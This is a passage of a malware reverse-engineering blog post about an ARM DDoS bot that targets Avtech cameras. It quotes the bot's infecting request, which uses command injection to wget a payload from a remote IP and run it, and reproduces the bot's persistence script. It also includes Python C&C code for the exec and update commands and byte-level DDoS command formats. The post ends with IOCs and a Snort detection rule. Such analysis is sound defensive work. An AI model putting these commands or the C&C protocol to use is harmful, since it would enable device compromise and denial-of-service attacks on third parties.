case "$1" in
    nohup /usr/bin/wake -c 1 &
update-rc.d wake defaults 99
chkconfig --add wake
chkconfig wake on 
nohup /usr/bin/wake -c 1 &
/dev/watchdog
/dev/misc/watchdog
update-rc.d -f wake remove
chkconfig --del wake
/proc/self/exe
wget -O %s %s
shell fail
/usr/bin/shell
nohup /usr/bin/shell -c 1 &
wget %s -O -
curl %s -O -
GET %s HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, app
lication/vnd.ms-powerpoint, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SV1)
Connection: Keep-Alive
(... nothing really interesting after...)
mitsurugi@dojo:~/infected$ strings Arm1 | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
127.0.0.1
mitsurugi@dojo:~/infected$

We can see some info:

  • There is something with the TCP port 39999
  • This program seems able to resgister itself for startup with 'wake' name (?) and Proxy (??) capability
  • The Accept-Language is set to zh-cn (attribution dice is broken, so nothing more to say).
  • No obvious C&C DNS name or IP address


2/3/ OSINT

Right before doing analysis and reversing, we can search for info.

It says that the binary comes from this request:
GET /cgi-bin/;wget%20-O%20/tmp/Arm1%20http://172.247.116.3:8080/Arm1;chmod%200777/tmp/Arm1;/tmp/Arm1 HTTP/1.1\r\n
Host: 81.171.12.232\r\n
Connection: keep-alive\r\n
Accept-Encoding: gzip, deflate\r\nAccept: */*\r\n
User-Agent: python-requests/2.13.0\r\n\r\n

Which says the same thing.

So, this binary is uploaded through a known vulnerability and targets Avtech device.

This post gives some info about the infection.


As the primary vector uses a python-requests User-Agent, we can think that this is scripted to crawl and
infect as many targets as possible. The fact that we found a sample in x86 is an indication that code is meant to be reused through different platforms/attack vector.

At the time of writing, virustotal has a detection ratio of 22/58 and name is frequently one of those:
  • malware
  • Ddos
  • Agent
  • Trojan
  • Backdoor

2/3/ Partial conclusion

If it looks like a duck, swims like a duck and quack like a duck, it can be call a duck.
This really quick glance at this binary tells us that this is not legitimate software and can be placed in the infected/ folder.

We have a first vector of infection which targets a known vulnerability in order to upload and execute the malware.
what's missing now is the purpose of this malware, the IP address of the C&C and th protocol used to communicate between client and C&C.

It's time now to analze deeply this binary in order to understand all of its capabilities.

3/ Full reversing

The debug setup is the one explained here

Everything has been done under gdb and common unix tools. I use the .gdbinit script
from osxreverser in order to help me in reversing. If you want to use, beware that 
the way of calculating the branch taken or not doesn't work all the time.

As it works with threads, I set the scheduler-locking with "step" mode:

user@router1 ~/infected $ gdb Arm1
Reading symbols from Arm1...(no debugging symbols found)...done.
gdb$ b * main
Breakpoint 1 at 0x8924
gdb$ r
Starting program: /home/user/infected/Arm1 
--------------------------------------------------------------------------[regs]
  R0:  0x00000001  R1: 0xBEFFF744  R2:  0xBEFFF74C  R3:  0x00008924
  R4:  0x00013B90  R5: 0x00000000  R6:  0x00013B48  R7:  0x00000000
  R8:  0x00000000  R9: 0x00000000  R10: 0x00000000  R11: 0x00000000 
  R12: 0xBEFFF678  SP: 0xBEFFF5F8  LR:  0x0001368C  PC:  0x00008924  n Z C v q j e a i f t 
--------------------------------------------------------------------------[code]
=> 0x8924 <main>: push {r4, r11, lr}
   0x8928 <main+4>: add r11, sp, #8
   0x892c <main+8>: sub sp, sp, #1568 ; 0x620
   0x8930 <main+12>: sub sp, sp, #4
   0x8934 <main+16>: str r0, [r11, #-1552] ; 0xfffff9f0
   0x8938 <main+20>: str r1, [r11, #-1556] ; 0xfffff9ec
   0x893c <main+24>: ldr r2, [pc, #1408] ; 0x8ec4 <main+1440>
   0x8940 <main+28>: mvn r3, #0
--------------------------------------------------------------------------------

Breakpoint 1, 0x00008924 in main ()
gdb$ set scheduler-locking step
gdb$ 

Because it stops all threads when a breakpoint is encountered. When you 'stepi' or 'c' all threads start until the next breakpoint. That's really nice to inspect all registers or switch from a thread to another.

This work started with a strong static analysis, and a dynamic one after, once I figured that this binary will not break things. Once I figured the basics of the network protocol I begun to write a server, which helped me a lot for dynamic analysis.

The analysis VM was fully firewalled in a protected environment, and tcpdump was running in host machine to confirm and track every packets send and received.

3/1/ From startup to full DDos

3/1/1/ The mysterious tcp port 39999 is only a watchdog

The main() function begins to setup some constants, then open the port 39999 for listening. There is two important points here:
  • It opens 127.0.0.1:39999 for listening, and only 127.0.0.1, it's hardcoded.
  • There is absolutely no function implemented that parse the data sent through that port, so we have to understand what's the purpose of this server.
If the binary has root rights, the main() function creates a script /usr/bin/wake:

#!/bin/bash
 while true;do
  server=`netstat -nlp | grep :39999`
  if [ ${#server} -eq 0 ] ; then
     nohup /home/user/infected/Arm1 -c 1 &
  fi

So we understand that the 39999 port is only used as a watchdog:
If binary dies, port is closed, and /usr/bin/wake script will start it again. There is no proxy capability, this information printed in the startup file is maybe only a decoy.

The bot grabs some information of the underlying infected host, (uname -a), IP address, and if it has root rights.

It gets the results of uname -a, the IP address, and the rights of the binary (root or user). Another point really interesting here is that it tries to read from eth0 or ens33 interface. eth0 is the old way of naming linux interfaces, and ens33 is the new way of predict interfaces name. As we saw, this malware targets AVtech camera, and avtech camera uses only old naming scheme. That's perplexing, for another reason, and we'll also come back to this later.

3/1/2/ Changing name

The binary change its name with an ioctl(). If you do a ps ax you won't see the name of the file. The algorithm used to create a random name is a bit wicked (what for?), and the name can have 5 or 7 chars, all uppercase.

The ps ax shows something like:

user@router1 ~/infected $ ps ax
(...)
 1265 pts/0    Sl+    0:00 GNLXT
 1283 pts/0    S+     0:00 /bin/sh /usr/bin/wake -c 1
(...)

Some fun fact here. This name change only change the 5 or 7 first characters of the binary. So if you rename your binary with a very long name, only the 5 or 7 first chars are changed with random uppercase characters.

3/1/3/ The decryption of the victim's DNS name used to get the real C&C IP:port

The jiemihttp() function is called from main. Jiemi means "secret" or "Revealing" in chinese, and the secret C1c address is decrypted here.
This function will decrypt inplace an URL. As a CTF-Player, I like to reverse those kind of functions, and this one is not really hard:

Breakpoint 2, 0x00009e28 in jiemihttp ()
gdb$ x/s 0x000930D0
0x930d0 <dns>: "c`i/gliwx{-apl-jo//svu"
gdb$

Another blogposts will explain more deeply the reversing, we'll stick to higher understanding here.

Nothing magic here, we follow the algorithm, reverse it then get the name: "bak.hnhxzz.com/ip1.txt"
And all the "encryption" here are in fact only:

The website hnhxzz.com seems to be a legitimate website, and my best guest is that the bak.hnhxzz.com domain have been compromised to hosts the ip1.txt file. At this time, the ip1.txt file doesn't exist anymore so I'm not able to know which IP and port were used for this bot binary. By using a level of this, attacker can hide the real C&C IP address for reverser.

Following the main(), the GetIP() function is called, it just calls wget, or curl (this is important, we'll go back on that later) to get the ip1.txt file containing one line with an IP and a port. There is a little check to verify that the IP is not 127.0.0.1, which can be seen as an anti sandbox technique, maybe.

The ConnectServer() function is called, and main() function almost ends here.

Everything done after is made through threads.

3/2/ Communication from bot to master

All communication from bot to master begin with a 4bytes header:

  •  \x01\x00\x01\x00 : REGISTER client
  •  \x02\x00\x01\x00 : Send statistics regularly
  •  \x05\x00\x01\x00 : result of a command (see server part for this one)

3/2/1/ Registering to C&C

When the bot connects to its C&C, it sends '\x01\x00\x01\x00' then the `uname -a` strings. Some (fun) fact, the result of uname -a is passed through the matow() function which seems to add a \x00 char between each character of the string. Is it an ascii to UTF-8 string? (matow could mean: Make Ascii TO Wide ???)

It can also reveal that the real server is UTF-8 only, and can only print those characters.

If binary is launched with root right, it sends another TCP packet containing 12 bytes, '\x01\x00*12' or 12 null if it doesn't have root rights.
And, yes, there is a lot of null bytes.

3/2/2/ SendCpuMsg

A thread is created for this function. This function open /proc/stat and /proc/net/dev, waits 5s reopen again those files, diff the result to compute some statistics:
  • %CPU Usage
  • Number of bytes sent (divided by 5120 (??))
Every 5s, it sends the data, with a '102' header, 4 nulls, and 8 bytes:
\x02\x00\x01\x00\x00\x00\x00\x00<OutRates><CPU>


What is really interesting here is that /proc/net/dev only checks for a line beginning with eth0. Remember that the sysinfo() tries to read either from eth0 or ens33, here, it only deals with eth0. It could means that some part of the code of this bot is reused, or that the coder doesn't care at all but there is at least a lack of consistency here.

3/3/ Communication from master to bot

All communication from master to bot begin with a 4bytes header:
  • \x03\x00\x01\x00 : DDos commands (with subcommands)
  • \x04\x00\x01\x00 : stop DDOSing
  • \x05\x00\x01\x00 : Send commands, like exit, exec, or update

3/3/1/ 0105 commands

* Exitself and Killself are almost self-explanatory. The difference here is that Exitself only exit the binary, and killself also suppress the /etc/init.d/wake startup scripts.
Juste be carefull that the command is written after 396 bytes of padding in the packet.

The server code part is simply:

    if cmd == 'killself':
        client.send('\x05\x00\x01\x00'+396*'A'+'killself')
    elif cmd == 'exitself':
        client.send('\x05\x00\x01\x00'+396*'A'+'exitself')

* The update command! Really worth it
The update command will download a binary, and replace the Arm1 file on disk (or any other name it has), then stop the binary. There is no mechanism to restart the binary, except the watchdog seen before.

Once again, jump 396 bytes of padding before writing update\x00http://<url>/file\x00

    elif cmd == 'update':
        client.send('\x05\x00\x01\x00'+396*'A'+'update\x00http://172.16.42.42/helloworld\x00')

Another thing, this update command use wget only to download the file. There is no try with curl. I think this tend to say that it's once again some code reuse between different projects, or different coders through time.

* The exec command
If there is something at byte 400 (\x05\x00\x01\x00 + 396 bytes of padding) which is neither the string 'exitself', 'killself' or 'update', everything is passed through a shell and the result is sent back from the client to server. The header is '\x05\x00\x01\x00 + 396 null bytes', and the answer.

My server code check if command starts with a ':' and send the command to the client:

    elif cmd.startswith(':'):
        client.send('\x05\x00\x01\x00'+396*'A'+cmd[1:])

And the parsing of the result:

        elif response.startswith('\x05\x00\x01\x00'):
            status_cli('CMD RESP: '+response[400:])

Here is a transcript of a live session between my server and Arm1 malware binary:

mitsurugi@dojo:~/chall/armv6_stretch$ ./server.py 
('172.16.42.3', 46806) connected

Client <<< REGISTER: Linux router1 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux
Server >>> 
.
Client <<< DATA
OutRates: 0*5120 bytes; CPU: 3% usage

Server >>> 
.
Client <<< DATA
OutRates: 0*5120 bytes; CPU: 11% usage
.
Client <<< DATA
OutRates: 0*5120 bytes; CPU: 2% usage

Server >>> 
.
.
.
Server >>> :echo owned

Client <<< CMD RESP: owned
.
.
.
Server >>> :id

Client <<< CMD RESP: uid=1000(user) gid=1000(pi) groupes=1000(pi)

Server >>> 
.

Client <<< DATA
OutRates: 0*5120 bytes; CPU: 2% usage

Server >>> 

3/4/ The Ddos commands

Some pcap can be provided for those interested. As this tool is a ddos tool, I'll explain how it works.

3/4/1/ The "stop" command

Stop command is a simple message:
'\x04\x00\x01\x00' which kill all Ddos threads. When attacker launch a DDos, there is no timer, or automatic stop. The only way to stop a ddos is to launch a "stop" command.
This binary only launch a DDos at a time. If attacker wants to switch targets, it has to stop the DDos with the stop command, and start another one.

3/4/2 103 code 4 : http Dos

The format of the packet launching a DDoS is:
    #byte    0: DOS CMD: \x03\x00\x01\x00
    #byte    4: padding
    #byte  272: Victim [ Warning, must be written as @IP:port, 
    #             port is mandatory, but only IP is used.] then padding
    #byte 1424: \x04\x00\x00\x00 => attack type "4" is tcp http
    #byte 1428: 2 bytes TCP port written in ntohs() -> \x50\x00 for TCP 80
    #byte 1430: padding 
    #byte 1442: Number of threads launched for this attack

The DDos is launched. We can note that the DDos send always 1024 bytes. If the request is not long enough, it's filled with Null bytes. The function launch as many thread as specified and loop as fast as possible in each thread sending the requests.


3/4/3/ 103 code 3 : tcp attack 

This code begin to check if binary has root right or not. If it has root rights,
the attack_tcp_syn is launched:
    #DOS CMD:103-3
    #padding
    #byte  272: IP address of victim in ascii finished by null, then padding
    #byte 1424: \x03\x00\x00\x00 => attack type "3" is tcp
    #byte 1428: TCP port in ntohs
    #byte 1440: #of syn to be sent
    #byte 1444: size of data sent to victim

If the binary doesn't have root rights, the attack_tcp_std() is launched, but it fails! The thread doesn't get the data sent from the C&C (bug in the client code?) and doesn't have any IP/port to connect to.


3/4/4/ 103 code 2 : UDP attack

This launch a flood attack on a choosen port with UDP protocol.
Parameters are:
    #byte    0: DOS CMD: \x03\x00\x01\x00
    #byte    4: padding
    #byte  272: IP address of victim in ascii finished by null, then padding
    #byte 1424: \x02\x00\x00\x00 => attack type "2" is udp 
    #byte 1428: UDP port in ntohs
    #byte 1440: Number of threads
    #byte 1444: size of data sent to victim

If the binary has root rights, it can launch an attack called, you guess it, attack_udp_root() . Each packet contains the repetition of a random byte. For the record, I sent an attack with 0x20 bytes size:



If the binary doesn't have root rights, the attack_udp_std() is launched, but it fails! The thread doesn't get the data sent from the C&C (bug in the client code?) and doesn't have any IP/port to connect to.

Fun fact: if you specify a data size too big, you can crash the client due to a buffer overflow.

3/4/5/ 103 code 1 : TCP con attack

The last attack is the attack_tcp_con, and it's a connection attack.

    #byte    0: DOS CMD: \x03\x00\x01\x00
    #byte    4: padding
    #byte  272: IP address of victim in ascii finished by null, then padding
    #byte 1424: \x01\x00\x00\x00 => attack type "1" is tcp con attack
    #byte 1428: TCP port in ntohs
    #byte 1440: Number of threads

The tool just connect to the IP:port and do nothing afterwards. It's maybe a kind of "slow" DDos Tool, where you eat up all connections pool from victim,which is unable to serve its legitimate clients.


3/5/ "Big picture"

As an eagle view, we have:

main()
  launch 127.0.0.1:39999 server as watchdog
  if uid==0:
    register at startup
  GetSysInfo, uname, IP, check for root rights
  Decrypt victim's DNS name holding C&C real IP, and GetIp()
  ConnectServer() connects to the real C&C

ConnectServer()
  Each 5second
    send cpu usage/bandwidth usage
  Wait for commands
    ExitSelf/KillSelf
    Update/Exec command
    Launch/stop DDos

That's all!

3/6/ Implementing a python server/client for Arm1

As I'm not a botmaster, I wrote a server for only one bot. This was enough for
me to understand and monitor the host.
Basically, I launch a recv() in a thread, and in another one I'm waiting commands
with a raw_input(). You can see this in my github repo. Warning, I'm not a coder,
this is the result of tries and fails. It's usable, but don't expect much.

For see it in action, you have to setup a web server containing a file ip1.txt:

echo '172.16.42.42:4444' > ip1.txt
sudo python -m SimpleHTTPServer 80

launch server.py in the 172.16.42.42 host

launch Arm1 binary on 172.16.42.3 host and wait for connections.
For dealing with the name, you can just add the line:
172.16.42.42 bak.hnhxzz.com 
in the /etc/hosts of the machine where Arm1 is launched.

The client is still under development. I'm searching for a C&C alive in order to connect and log all DDos requests. It would be a great insight into targets.

4/ IOC for this binary

Usually, IOC are cheap information, containing only hash and captured traffic from an infected host. This is cheap because attackers can really quickly change every of those indicators. After this work, we can make better ones, because we learn how the traffic is exchanged between C&C and bots. This is much harder for a botmaster to change its network protocol than a hash of a binary or the IP of a C&C.

As we saw previously, the binary uses in a function eth0 or ens33, and in another one only eth0. Another time, it tries to use wget or curl, and another time, only wget. This leads to the conclusion that it's not the same person which write the binary, or that some parts were copy-pasted. If the network protocol is copy pasted from this bot to another one, it's a win for defenders.

Victim register with '\x01\x00\x01\x00' followed by the $(uname -a) of an host in UTF-8.Then, it sends each 5 seconds data beginning with '\x02\x00\x01\x00\x00\x00\x00\x00'

The best way to detect it is to log the REGISTER message. A snort/Suricata rule like this should do the job:


alert tcp any any -> any any (content:"|01 00 01 00 00 00 00 00|"; offset: 0; depth: 8; flow:from_client; msg: "wake malware register"; reference: "http://0x90909090.blogspot.com/"; sid:XXXXXX; rev:1)


Server sends command
\x04\x00\x01\x00 to stop Ddos
\x03\x00\x01\x00 to start a Ddos
\x05\x00\x01\x00 to kill, exec or update the bot. If command is 'exec' or 'update', extraction should be made in order to grab and analyze new binary. Juicy part is here.

5/ Conclusion

This tool can Ddos efficiently, thanks to a usual design of C&C. Bots connect to master and waits for commands.
What is interesting here is this good way of covering tracks. If we have only the binary, we are unable to know where the C&C really is, we can only find the victim which hosts the real IP of the C&C. Plus the addition of remote command and remote update can be a powerfull way to hide a more complex operation: send largely a ddostool, and scan more precisely some of your hosts, then download and execute your real payload.
What is more interesting here is that some part of this binary just doesn't work at all: if you are non root user, tcp and udp attack should work, but doesn't work at all.

With the help of the IOC provided, we can try to follow this particuliar bot, or others bot based on the same code. If you meet one of this malware recently, you can ping me @0xMitsurugi on twitter, I'm searching for a working C&C to play with.

6/ Usual rant against antivirus

Well... This malware wasn't largely spread, it did not meet any success, and I guess that malware analyst have a lot of work to do and can't spent as time as I spent on this one.
But, please:
<<<
This Backdoor opens the following port(s) where it listens for remote commands:
127.0.0.1:39999
>>>
You listen on 127.0.0.1 for *remote* commands?!